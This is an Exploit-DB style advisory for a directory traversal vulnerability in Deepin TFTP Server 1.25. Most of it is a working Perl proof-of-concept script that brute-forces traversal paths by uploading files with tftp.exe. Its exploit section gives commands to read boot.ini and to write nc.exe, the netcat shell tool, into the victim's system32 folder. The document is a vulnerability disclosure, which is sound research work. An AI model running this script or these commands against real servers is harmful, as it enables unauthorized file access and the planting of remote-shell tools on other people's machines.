Deepin TFTP Server 1.25 - Directory Traversal

EDB-ID:

14779

CVE:

N/A

Author:

demonalex

Type:

remote

Platform:

Windows

Published:

2010-08-25

#Software : Deepin TFTP Server Directory Traversal Vulnerability Software Version : v1.25
#Vendor: Deepin.org
#Vulnerability Published : 2010-08-14
#Vulnerability Update Time :
#Status : 
#Impact : Medium
#Bug Description :
#Deepin TFTP Server does not properly sanitise filenames containing directory traversal sequences that are #received from an FTP client.
#Proof Of Concept :
#****************************************************************
#!/usr/bin/perl -w
$|=1;
$target_ip=shift || die "usage: $0 \$target_ip\n"; @directory_traversal=( '..\tmp.txt', '..\..\tmp.txt', '..\..\..\tmp.txt', '..\..\..\..\tmp.txt', '..\..\..\..\..\tmp.txt', '..\..\..\..\..\..\tmp.txt', '..\..\..\..\..\..\..\tmp.txt'
);
open(TMP, ">tmp.txt");
print TMP "tmp";
close(TMP);
foreach $dt_content (@directory_traversal){
	$dt_it=`tftp.exe $target_ip put tmp.txt $dt_content`;
	print "command : tftp.exe $target_ip put tmp.txt $dt_content\n";
	print "$dt_it";
	if($dt_it=~m/^Transferred successfully/){
		print "Directory Traversal PAYLOAD is $dt_content.\n";
		print "Press [ENTER] Button to continue...\n";
		<STDIN>;
	}
	sleep(3);
}
print "Finish!\n";
exit(0);
#****************************************************************
#Exploit :
#****************************************************************
#get sensitive file
#c:\windows\system32>tftp [VICTIM_IP] get ../../boot.ini boot.ini put malware c:\windows\system32>tftp [VICTIM_IP] put nc.exe ../../WINDOWS/system32/nc.exe
#****************************************************************
#Credits : This vulnerability was discovered by demonalex(at)163(dot)com Pentester/Researcher Dark2S Security Team/Venustech.GZ Branch